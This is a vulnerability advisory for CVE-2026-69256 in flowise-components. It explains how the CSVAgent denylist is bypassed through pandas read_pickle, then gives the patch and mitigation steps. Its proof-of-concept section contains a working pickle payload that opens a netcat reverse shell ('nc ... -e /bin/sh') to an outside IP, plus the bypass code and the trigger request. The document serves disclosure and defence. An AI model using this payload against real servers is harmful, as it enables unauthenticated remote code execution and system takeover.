criticalCVE-2026-69256Aug 4, 2026

CVE-2026-69256: flowise-components CSVAgent Pickle Deserialization Remote Code Execution

Rohit Hatagale
AI Security Researcher, SecureLayer7

The Flowise CSVAgent node lets attackers smuggle a malicious pickled payload through the pandas read_pickle() function, bypassing the denylist entirely and running arbitrary OS commands on the server.

Packageflowise-components
Ecosystemnpm
Affected<= 3.1.2
Fixed in3.1.3
CVE-2026-69256: flowise-components CSVAgent Pickle Deserialization Remote Code Execution

The problem

The CSVAgent node in flowise-components accepts a user-supplied customReadCSVFunc string that gets interpolated directly into a Python snippet executed by pyodide. A denylist of dangerous patterns (eval, exec, import, os., subprocess., etc.) is applied before execution.

The denylist does not block pd.read_pickle() or Python class definitions. An attacker can define a minimal file-like object in pure Python (no imports needed) and pass a base64-encoded pickle payload to pd.read_pickle(), triggering arbitrary OS command execution during deserialization.

No server-side authentication is required to trigger the chatflow prediction endpoint.

Proof of concept

A working proof-of-concept for CVE-2026-69256 in flowise-components, with the exact payload below.

python
# Step 1: generate the pickle payload (run locally)
import pickle, base64, os

class Exploit:
    def __reduce__(self):
        return (os.system, ("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh",))

payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())
# Output: gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=

# Step 2: paste the following into CSVAgent "Additional Parameters" -> customReadCSVFunc
isnull("")
class MiniBytesIO:
    def __init__(self, b):
        self.data = b
        self.pos = 0
    def read(self, n=-1):
        if n == -1:
            n = len(self.data) - self.pos
        chunk = self.data[self.pos:self.pos+n]
        self.pos += n
        return chunk
    def readline(self, n=-1):
        if self.pos >= len(self.data):
            return b""
        next_nl = self.data.find(b"\n", self.pos)
        if next_nl == -1:
            next_nl = len(self.data)
        if n != -1:
            next_nl = min(self.pos + n, next_nl)
        line = self.data[self.pos:next_nl+1]
        self.pos = next_nl + 1
        return line
pd.read_pickle(MiniBytesIO(base64.b64decode("gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=")))

# Step 3: trigger via the prediction API
# curl -X POST http://<TARGET>/api/v1/prediction/<CHATFLOW-UUID>

The root cause is CWE-94 (Improper Control of Generation of Code). The customReadCSVFunc value is interpolated into a Python string that pyodide executes with pd. as a prefix, so any valid pandas method call is reachable. The denylist blocks well-known dangerous symbols but never considered that pd.read_pickle() deserializes arbitrary Python objects, and that class definitions (used here to build a BytesIO substitute without importing io) were also unrestricted.

The patch (PR #6257 by @chloebyun-wd in 3.1.3) adds read_pickle and class to the forbidden patterns list and restricts the custom CSV field to accept only read_csv() calls, eliminating the entire attack surface rather than trying to enumerate every dangerous pandas method.

The fix

Upgrade flowise-components to 3.1.3 or later. The fix (PR #6257) blocks pd.read_pickle() and bare class definitions in the customReadCSVFunc field, and restricts that field to read_csv() calls only. If immediate upgrade is not possible, disable the CSVAgent node or remove public access to the prediction API endpoint.

Reported by Raul (Snyk Security Labs).

References: [1][2]

Related research